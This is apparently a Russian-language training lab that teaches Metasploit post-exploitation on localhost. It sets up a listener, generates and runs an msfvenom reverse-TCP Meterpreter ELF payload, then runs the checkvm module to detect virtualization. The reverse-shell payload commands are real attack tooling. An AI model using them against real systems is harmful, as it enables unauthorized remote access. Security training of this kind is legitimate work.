Введение
Постэксплуатация (Post-exploitation) — это фаза тестирования на проникновение, которая наступает после того, как злоумышленник получил первоначальный доступ к целевой системе. На этом этапе цель состоит в сборе дополнительной информации, повышении привилегий, переходе к другим системам и поддержании постоянного доступа. Metasploit Framework предоставляет обширную коллекцию модулей постэксплуатации для автоматизации этих задач.
В этой лаборатории вы изучите основной рабочий процесс использования модуля постэксплуатации в Metasploit. Вы начнете с установления сессии Meterpreter, затем найдете подходящий модуль, настроите его и запустите против активной сессии для сбора информации о целевой системе. В качестве примера мы будем использовать модуль post/linux/gather/checkvm, который пытается определить, является ли скомпрометированный хост виртуальной машиной.
Наличие активной сессии Meterpreter
На этом шаге вы настроите прослушиватель (listener) в Metasploit, а затем выполните полезную нагрузку (payload) для имитации подключения скомпрометированного хоста, тем самым создав активную сессию Meterpreter. Эта сессия является предварительным условием для запуска любого модуля постэксплуатации.
Сначала давайте запустим консоль Metasploit Framework. Откройте терминал и введите:
msfconsole -q
Флаг -q отключает баннер при запуске. Как только вы окажетесь в командной строке msf6 >, мы настроим прослушиватель. Мы будем использовать универсальный обработчик (handler) и полезную нагрузку Meterpreter для Linux.
Введите следующие команды в командной строке msfconsole:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
Теперь запустите прослушиватель в фоновом режиме с помощью команды exploit -j:
exploit -j
Вы должны увидеть подтверждение того, что обработчик запущен.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Теперь откройте новый терминал (вы можете использовать кнопку + на панели вкладок терминала). В этом новом терминале мы сгенерируем и запустим полезную нагрузку, которая будет подключаться к нашему прослушивателю. Мы будем использовать msfvenom для создания исполняемого файла для Linux.
Во втором терминале выполните эту команду для создания полезной нагрузки:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf
Эта команда создает файл ELF (Executable and Linkable Format) с именем shell.elf в вашем каталоге ~/project.
Далее, сделайте файл исполняемым:
chmod +x ~/project/shell.elf
Наконец, запустите полезную нагрузку для установки сессии:
./shell.elf
Теперь вернитесь в первый терминал (тот, где находится msfconsole). Вы должны увидеть сообщение, указывающее на создание новой сессии.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400
Чтобы подтвердить это, вы можете вывести список всех активных сессий с помощью команды sessions.
sessions
Вы увидите список активных сессий, что означает, что вы готовы к следующему шагу.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)
Фоновое выполнение сессии и использование команды search для пост-модулей
На этом шаге вы научитесь взаимодействовать с вашей новой сессией, а затем вернетесь в основной командный интерфейс msfconsole для поиска модулей постэксплуатации.
После команды sessions вы окажетесь в командной строке msf6 >. Чтобы взаимодействовать с сессией, используйте команду sessions -i, за которой следует идентификатор сессии.
sessions -i 1
Ваша командная строка изменится на meterpreter >, что указывает на то, что вы находитесь внутри сессии скомпрометированной системы.
[*] Starting interaction with 1...
meterpreter >
Чтобы запустить модуль постэксплуатации, вам нужно вернуться в основной командный интерфейс msf6 >. Чтобы оставить сессию Meterpreter активной, но вернуться в основную консоль, используйте команду background.
background
Вы увидите сообщение, подтверждающее, что сессия выполняется в фоновом режиме, и ваша командная строка вернется к msf6 >.
[*] Backgrounding session 1...
msf6 >
Теперь вы можете искать модули постэксплуатации с помощью команды search. Эта команда очень мощная и может фильтровать модули по типу, платформе, названию и многому другому. Чтобы найти модули, проверяющие наличие виртуальных машин, вы можете выполнить поиск по ключевому слову checkvm.
search checkvm
Metasploit выведет список всех модулей, соответствующих ключевому слову.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/linux/gather/checkvm normal No Linux Gather Virtual Machine Environment Detection
1 post/windows/gather/checkvm normal No Windows Gather Virtual Machine Environment Detection
...
Это показывает, что существуют модули как для Linux, так и для Windows. Поскольку наша сессия находится на целевой системе Linux, мы будем использовать post/linux/gather/checkvm.
Выбор постэксплуатационного модуля, такого как post/linux/gather/checkvm
На этом шаге вы выберете постэксплуатационный модуль, найденный на предыдущем шаге, и просмотрите его параметры конфигурации.
Чтобы выбрать или "использовать" модуль в Metasploit, вы используете команду use, за которой следует полное имя модуля. Основываясь на результатах нашего поиска, мы будем использовать post/linux/gather/checkvm.
use post/linux/gather/checkvm
Ваша командная строка изменится, отражая текущий выбранный модуль.
msf6 post(linux/gather/checkvm) >
После выбора модуля всегда следует проверять его параметры, чтобы увидеть, что необходимо настроить. Команда show options отобразит все доступные настройки для текущего модуля.
show options
Вывод покажет параметры модуля, их текущие настройки и то, являются ли они обязательными.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Как вы можете видеть, параметр SESSION является обязательным, но у него пока нет значения. Этот параметр указывает Metasploit, против какой из ваших активных сессий следует запустить модуль.
Установка опции SESSION на ID вашей активной сессии
На этом шаге вы настроите обязательную опцию SESSION для постэксплуатационного модуля.
Из предыдущих шагов мы знаем, что наша активная сессия имеет ID 1. Нам нужно передать этот ID модулю. Команда set используется для настройки параметров модуля.
Чтобы установить опцию SESSION в значение 1, выполните следующую команду:
set SESSION 1
Вы должны увидеть подтверждение того, что значение было установлено.
SESSION => 1
Чтобы быть уверенным, вы можете снова выполнить команду show options, чтобы убедиться, что опция SESSION теперь правильно настроена.
show options
Вывод теперь покажет 1 как текущую настройку для SESSION.
Module options (post/linux/gather/checkvm):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
После установки опции SESSION модуль готов к выполнению.
Запуск модуля и анализ результатов
На этом шаге вы выполните настроенный постэксплуатационный модуль и проанализируете его вывод.
После выбора модуля и установки всех необходимых параметров вы можете его выполнить. В Metasploit для выполнения модуля можно использовать команду run или exploit. Для постэксплуатационных модулей обычно используется run.
run
Модуль теперь будет выполнен в целевой сессии (Session 1). Он выполнит свои проверки и выведет результаты на вашу консоль. Среда LabEx работает в виртуализированной среде, поэтому вы должны увидеть положительный результат.
[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed
Анализ результатов:
Вывод ясно указывает на то, что целевая система обнаружена как виртуальная машина Xen и как виртуальная машина KVM/QEMU. Это ценная информация для пентестера. Знание о виртуализации цели может повлиять на дальнейшие действия, такие как поиск уязвимостей VM escape или понимание базовой инфраструктуры.
Теперь вы успешно выполнили свой первый постэксплуатационный модуль!
Резюме
В этой лабораторной работе вы освоили основной рабочий процесс использования постэксплуатационных модулей в Metasploit Framework. Вы успешно выполнили весь процесс от установления точки опоры до сбора информации о целевой системе.
Вы научились:
- Создавать слушатель (listener) и устанавливать сессию Meterpreter.
- Переводить активную сессию в фоновый режим, чтобы вернуться к основному приглашению
msfconsole. - Использовать команду
searchдля поиска релевантных постэксплуатационных модулей. - Выбирать модуль с помощью команды
useи просматривать его настройки с помощьюshow options. - Настраивать модуль, устанавливая обязательную опцию
SESSION. - Выполнять модуль с помощью команды
runи анализировать его вывод.
Этот фундаментальный навык является основой для более продвинутых постэксплуатационных действий, таких как повышение привилегий, сбор учетных данных и боковое перемещение по сети.


